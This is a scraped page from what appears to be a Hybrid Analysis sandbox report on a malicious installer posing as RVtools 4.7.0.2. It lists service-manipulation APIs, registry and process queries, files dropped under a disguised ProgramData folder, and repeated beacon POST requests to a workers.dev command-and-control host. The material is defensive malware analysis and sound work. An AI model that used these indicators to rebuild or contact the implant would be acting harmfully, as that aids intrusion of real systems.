24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 6b:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T423,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Sample ee0f0f2f089e… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample ee0f0f2f089e…. Threat score 100/100. 0/26 AV engines flagged this file. 6 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/ee0f0f2f089ee0594da5750bb4e342c34d703ea045ed80c3b73c81d2f3de8bd4","keywords":["Malicious","malware analysis","sandbox report","threat intelligence","ee0f0f2f089ee0594da5750bb4e342c34d703ea045ed80c3b73c81d2f3de8bd4"],"about":{"@type":"SoftwareApplication","name":"RVtools-4.7.0.2.msi","applicationCategory":["msi","data"],"identifier":"ee0f0f2f089ee0594da5750bb4e342c34d703ea045ed80c3b73c81d2f3de8bd4","additionalType":"Malicious sample"},"threatScore":100,"antivirusDetections":{"malicious":0,"total":26},"behavioralIndicators":{"malicious":6,"suspicious":17},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:Ta87,Found reference to API "ControlServiceEx" (Indicator: "ControlService"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "ControlService" (Indicator: "ControlService"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "ChangeServiceConfig" (Indicator: "ChangeServiceConfig"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "ChangeServiceConfig2 (delayed autostart flag)" (Indicator: "ChangeServiceConfig"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "ChangeServiceConfig2" (Indicator: "ChangeServiceConfig"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "ChangeServiceConfigW" (Indicator: "ChangeServiceConfig"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "ControlServiceExW" (Indicator: "ControlService"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "ChangeServiceConfig2W" (Indicator: "ChangeServiceConfig"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "ControlServiceEx" (Indicator: "ControlService"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "ControlService" (Indicator: "ControlService"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "ChangeServiceConfig2 (delayed autostart flag)" (Indicator: "ChangeServiceConfig"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "ChangeServiceConfig" (Indicator: "ChangeServiceConfig"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "ChangeServiceConfig2" (Indicator: "ChangeServiceConfig"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "ChangeServiceConfigW" (Indicator: "ChangeServiceConfig"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "ControlServiceExW" (Indicator: "ControlService"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "ChangeServiceConfig2W" (Indicator: "ChangeServiceConfig"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "ChangeServiceConfig SUCCESS" (Indicator: "ChangeServiceConfig"; Source: "00000000-00007268.00000000.264360.03590000.00000004.mdmp") Found reference to API "[SC] ChangeServiceConfig SUCCESS" (Indicator: "ChangeServiceConfig"; Source: "00000000-00007268.00000000.264360.03590000.00000004.mdmp")26:T594,Found reference to API "OpenService" (Indicator: "OpenService"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "EnumQueryServicesStatus:OpenService" (Indicator: "OpenService"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "StartService: OpenService" (Indicator: "OpenService"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "umQueryServicesStatus:OpenService" (Indicator: "OpenService"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "artService: OpenService" (Indicator: "OpenService"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "OpenServiceW" (Indicator: "OpenService"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "EnumQueryServicesStatus:OpenService" (Indicator: "OpenService"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "OpenService" (Indicator: "OpenService"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "StartService: OpenService" (Indicator: "OpenService"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "OpenServiceW" (Indicator: "OpenService"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp")27:T98a,file/memory contains long string with (Indicator: "SHA384"; File: "python.exe") file/memory contains long string with (Indicator: "SHA384"; File: "UsbService86.exe") file/memory contains long string with (Indicator: "SHA384"; File: "libffi-8.dll") file/memory contains long string with (Indicator: "SHA384"; File: "_elementtree.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_bz2.pyd") file/memory contains long string with (Indicator: "HMAC"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA512"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_overlapped.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_zoneinfo.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_msi.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_wmi.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_multiprocessing.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_queue.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "select.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "winsound.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_uuid.pyd") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00004460-00000BC0-3102241819") Found reference to "8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA10" (Indicator: "SHA384"; Source: "00000000-00001196.00000000.263272.0040A000.00000004.mdmp") Found reference to "Mhttp://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S" (Indicator: "SHA384"; Source: "00000000-00001196.00000000.263272.0040A000.00000004.mdmp") Found reference to "Mhttp://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0>" (Indicator: "SHA384"; Source: "00000000-00001196.00000000.263272.0040A000.00000004.mdmp") Found reference to "Phttp://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0" (Indicator: "SHA384"; Source: "00000000-00001196.00000000.263272.0040A000.00000004.mdmp") Found reference to "8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1" (Indicator: "SHA384"; Source: "00000000-00001196.00000000.263272.0040A000.00000004.mdmp")28:T804,"start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\INPROCSERVER32") "start.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\INPROCHANDLER32") "start.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\INPROCHANDLER") "start.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\LOCALSERVER32") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}") "start.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\LOCALSERVER") "start.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\ELEVATION") "start.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "start.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\PROGID") "start.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}") "start.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\PROGID") "start.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SYNCROOTMANAGER") "start.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SYNCROOTMANAGER") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELL\OPEN") "start.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "start.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\INPROCSERVER32") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\INPROCSERVER32")29:T9ea,"start.exe" queried SystemProcessInformation at 00000000-00004460-00000C15-3100309286 [PID: 4460] "start.exe" queried SystemProcessInformation at 00000000-00004460-00000C15-3100316323 [PID: 4460] "start.exe" queried SystemProcessInformation at 00000000-00004460-00000C15-3100672804 [PID: 4460] "start.exe" queried SystemProcessInformation at 00000000-00004460-00000C15-3100679885 [PID: 4460] "start.exe" queried SystemProcessInformation at 00000000-00004460-00000C15-3102702529 [PID: 4460] "start.exe" queried SystemProcessInformation at 00000000-00004460-00000C15-3102710011 [PID: 4460] "RVtools-4.7.0.2.exe" queried SystemProcessInformation at 00000000-00001196-00000C15-3105647772 [PID: 1196] "RVtools-4.7.0.2.exe" queried SystemProcessInformation at 00000000-00001196-00000C15-3105655701 [PID: 1196] "RVtools-4.7.0.2.exe" queried SystemProcessInformation at 00000000-00001196-00000C15-3105870351 [PID: 1196] "RVtools-4.7.0.2.exe" queried SystemProcessInformation at 00000000-00001196-00000C15-3105880212 [PID: 1196] "sc.exe" queried SystemProcessInformation at 00000000-00008164-00000C15-3117216447 [PID: 8164] "sc.exe" queried SystemProcessInformation at 00000000-00008164-00000C15-3117225743 [PID: 8164] "sc.exe" queried SystemProcessInformation at 00000000-00008164-00000C15-3117562783 [PID: 8164] "sc.exe" queried SystemProcessInformation at 00000000-00008164-00000C15-3117572082 [PID: 8164] "sc.exe" queried SystemProcessInformation at 00000000-00007268-00000C15-3122188679 [PID: 7268] "sc.exe" queried SystemProcessInformation at 00000000-00007268-00000C15-3122196389 [PID: 7268] "sc.exe" queried SystemProcessInformation at 00000000-00007268-00000C15-3122531952 [PID: 7268] "sc.exe" queried SystemProcessInformation at 00000000-00007268-00000C15-3122539647 [PID: 7268] "UsbService86.exe" queried SystemProcessInformation at 00000000-00007744-00000C15-3127842049 [PID: 7744] "UsbService86.exe" queried SystemProcessInformation at 00000000-00007744-00000C15-3127849175 [PID: 7744] "UsbService86.exe" queried SystemProcessInformation at 00000000-00007744-00000C15-3128279140 [PID: 7744] "UsbService86.exe" queried SystemProcessInformation at 00000000-00007744-00000C15-3128286510 [PID: 7744] "UsbService86.exe" queried SystemProcessInformation at 00000000-00007744-00000C15-3135146702 [PID: 7744] "UsbService86.exe" queried SystemProcessInformation at 00000000-00007744-00000C15-3135153394 [PID: 7744] "UsbService86.exe" queried SystemProcessInformation at 00000000-00007744-00000C15-3141507346 [PID: 7744]2a:T1586,"UsbService86.exe" renamed original file"C:\ProgramData\Microsoft\SystemWEB\SystemInfo\__pycache__\clr.cpython-312.pyc.2406833945136" to "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\__pycache__\clr.cpython-312.pyc" "UsbService86.exe" renamed original file"C:\ProgramData\Microsoft\SystemWEB\SystemInfo\pythonnet\__pycache__\__init__.cpython-312.pyc.2406833869360" to "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pythonnet\__pycache__\__init__.cpython-312.pyc" "UsbService86.exe" renamed original file"C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\__pycache__\__init__.cpython-312.pyc.2406833875984" to "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\clr_loader\__pycache__\__init__.cpython-312.pyc" "UsbService86.exe" renamed original file"C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\__pycache__\types.cpython-312.pyc.2406837751648" to "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\clr_loader\__pycache__\types.cpython-312.pyc" "UsbService86.exe" renamed original file"C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\util\__pycache__\__init__.cpython-312.pyc.2406845317168" to "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\clr_loader\util\__pycache__\__init__.cpython-312.pyc" "UsbService86.exe" renamed original file"C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\util\__pycache__\clr_error.cpython-312.pyc.2406845317600" to "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\clr_loader\util\__pycache__\clr_error.cpython-312.pyc" "UsbService86.exe" renamed original file"C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\util\__pycache__\coreclr_errors.cpython-312.pyc.2406845275056" to "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\clr_loader\util\__pycache__\coreclr_errors.cpython-312.pyc" "UsbService86.exe" renamed original file"C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\util\__pycache__\find.cpython-312.pyc.2406845318032" to "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\clr_loader\util\__pycache__\find.cpython-312.pyc" "UsbService86.exe" renamed original file"C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\util\__pycache__\runtime_spec.cpython-312.pyc.2406845318320" to "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\clr_loader\util\__pycache__\runtime_spec.cpython-312.pyc" "UsbService86.exe" renamed original file"C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\util\__pycache__\hostfxr_errors.cpython-312.pyc.2406845736688" to "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\clr_loader\util\__pycache__\hostfxr_errors.cpython-312.pyc" "UsbService86.exe" renamed original file"C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\__pycache__\netfx.cpython-312.pyc.2406845321344" to "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\clr_loader\__pycache__\netfx.cpython-312.pyc" "UsbService86.exe" renamed original file"C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\ffi\__pycache__\__init__.cpython-312.pyc.2406845323648" to "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\clr_loader\ffi\__pycache__\__init__.cpython-312.pyc" "UsbService86.exe" renamed original file"C:\ProgramData\Microsoft\SystemWEB\SystemInfo\cffi\__pycache__\__init__.cpython-312.pyc.2406845295920" to "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\__pycache__\__init__.cpython-312.pyc" "UsbService86.exe" renamed original file"C:\ProgramData\Microsoft\SystemWEB\SystemInfo\cffi\__pycache__\api.cpython-312.pyc.2406845296944" to "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\__pycache__\api.cpython-312.pyc" "UsbService86.exe" renamed original file"C:\ProgramData\Microsoft\SystemWEB\SystemInfo\cffi\__pycache__\lock.cpython-312.pyc.2406846166448" to "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\__pycache__\lock.cpython-312.pyc" "UsbService86.exe" renamed original file"C:\ProgramData\Microsoft\SystemWEB\SystemInfo\cffi\__pycache__\error.cpython-312.pyc.2406846165808" to "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\__pycache__\error.cpython-312.pyc" "UsbService86.exe" renamed original file"C:\ProgramData\Microsoft\SystemWEB\SystemInfo\cffi\__pycache__\model.cpython-312.pyc.2406846162864" to "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\__pycache__\model.cpython-312.pyc" "UsbService86.exe" renamed original file"C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\ffi\__pycache__\hostfxr.cpython-312.pyc.2406845329552" to "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\clr_loader\ffi\__pycache__\hostfxr.cpython-312.pyc" "UsbService86.exe" renamed original file"C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\ffi\__pycache__\mono.cpython-312.pyc.2406845329696" to "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\clr_loader\ffi\__pycache__\mono.cpython-312.pyc" "UsbService86.exe" renamed original file"C:\ProgramData\Microsoft\SystemWEB\SystemInfo\clr_loader\ffi\__pycache__\netfx.cpython-312.pyc.2406845329840" to "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\clr_loader\ffi\__pycache__\netfx.cpython-312.pyc" "UsbService86.exe" renamed original file"C:\ProgramData\Microsoft\SystemWEB\SystemInfo\cffi\__pycache__\cparser.cpython-312.pyc.2406846159024" to "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\__pycache__\cparser.cpython-312.pyc" "UsbService86.exe" renamed original file"C:\ProgramData\Microsoft\SystemWEB\SystemInfo\cffi\__pycache__\commontypes.cpython-312.pyc.2406845331136" to "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\__pycache__\commontypes.cpython-312.pyc"2b:T572,Found api reference "CryptDestroyHash" (Indicator: "CryptDestroyHash"; File: "RVtools-4.7.0.2.msi") Found api reference "CryptReleaseContext" (Indicator: "CryptReleaseContext"; File: "RVtools-4.7.0.2.msi") Found api reference "CryptAcquireContextW" (Indicator: "CryptAcquireContextW"; File: "RVtools-4.7.0.2.msi") Found api reference "CryptCreateHash" (Indicator: "CryptCreateHash"; File: "RVtools-4.7.0.2.msi") Found api reference "CryptHashData" (Indicator: "CryptHashData"; File: "RVtools-4.7.0.2.msi") Found api reference "CryptGetHashParam" (Indicator: "CryptGetHashParam"; File: "RVtools-4.7.0.2.msi") Found api reference "CryptBinaryToStringW" (Indicator: "CryptBinaryToStringW"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found api reference "CryptStringToBinaryW" (Indicator: "CryptStringToBinaryW"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found api reference "CryptExportKey" (Indicator: "CryptExportKey"; Source: "00000000-00001196.00000001.265194.005F0000.00000004.mdmp, 00000000-00001196.00000002.267111.005F0000.00000004.mdmp") Found api reference "CryptBinaryToStringW" (Indicator: "CryptBinaryToStringW"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found api reference "CryptStringToBinaryW" (Indicator: "CryptStringToBinaryW"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp")2c:T459,Found reference to API "CryptDestroyHash" (Indicator: "CryptDestroyHash"; File: "RVtools-4.7.0.2.msi") Found reference to API "CryptReleaseContext" (Indicator: "CryptReleaseContext"; File: "RVtools-4.7.0.2.msi") Found reference to API "CryptAcquireContextW" (Indicator: "CryptAcquireContextW"; File: "RVtools-4.7.0.2.msi") Found reference to API "CryptCreateHash" (Indicator: "CryptCreateHash"; File: "RVtools-4.7.0.2.msi") Found reference to API "CryptHashData" (Indicator: "CryptHashData"; File: "RVtools-4.7.0.2.msi") Found reference to API "CryptGetHashParam" (Indicator: "CryptGetHashParam"; File: "RVtools-4.7.0.2.msi") Found reference to API "CryptBinaryToString: LocalAlloc" (Indicator: "CryptBinaryToString"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "CryptBinaryToString: Binary to string conversion" (Indicator: "CryptBinaryToString"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "CryptBinaryToStringW" (Indicator: "CryptBinaryToString"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp")2d:T58a4,Contains base64 string in header "POST" in header "POST //Ozt6OhXe4DHCP/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 135Connection: Keep-Alive" Contains base64 string in header "//Ozt6OhXe4DHCP/" in header "POST //Ozt6OhXe4DHCP/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 135Connection: Keep-Alive" Contains base64 string in header "0Content" in header "POST //Ozt6OhXe4DHCP/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 135Connection: Keep-Alive" Contains base64 string in header "Type" in header "POST //Ozt6OhXe4DHCP/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 135Connection: Keep-Alive" Contains base64 string in header "application/jsonHost" in header "POST //Ozt6OhXe4DHCP/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 135Connection: Keep-Alive" Contains base64 string in header "Keep" in header "POST //Ozt6OhXe4DHCP/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 135Connection: Keep-Alive" Contains base64 string in header "POST" in header "POST //EvgHgjJpcJXFDwE/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "0Content" in header "POST //EvgHgjJpcJXFDwE/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "Type" in header "POST //EvgHgjJpcJXFDwE/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "application/jsonHost" in header "POST //EvgHgjJpcJXFDwE/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "POST" in header "POST //GYKZPQC/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "0Content" in header "POST //GYKZPQC/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "Type" in header "POST //GYKZPQC/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "application/jsonHost" in header "POST //GYKZPQC/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "POST" in header "POST //44eQJ0s/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 113" Contains base64 string in header "0Content" in header "POST //44eQJ0s/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 113" Contains base64 string in header "Type" in header "POST //44eQJ0s/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 113" Contains base64 string in header "application/jsonHost" in header "POST //44eQJ0s/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 113" Contains base64 string in header "POST" in header "POST //nLriCsXJRY0pjU4/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "0Content" in header "POST //nLriCsXJRY0pjU4/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "Type" in header "POST //nLriCsXJRY0pjU4/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "application/jsonHost" in header "POST //nLriCsXJRY0pjU4/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "POST" in header "POST //iecDFWSMaCxpk/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "//iecDFWSMaCxpk/" in header "POST //iecDFWSMaCxpk/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "0Content" in header "POST //iecDFWSMaCxpk/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "Type" in header "POST //iecDFWSMaCxpk/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "application/jsonHost" in header "POST //iecDFWSMaCxpk/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "POST" in header "POST //hPtHsocy0bcT360/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "0Content" in header "POST //hPtHsocy0bcT360/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "Type" in header "POST //hPtHsocy0bcT360/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "application/jsonHost" in header "POST //hPtHsocy0bcT360/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "POST" in header "POST //NN/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "0Content" in header "POST //NN/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "Type" in header "POST //NN/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "application/jsonHost" in header "POST //NN/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "POST" in header "POST //ry4EIsEtVHR/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "0Content" in header "POST //ry4EIsEtVHR/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "Type" in header "POST //ry4EIsEtVHR/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "application/jsonHost" in header "POST //ry4EIsEtVHR/ HTTP/1.1User-Agent: Microsoft Windows NT 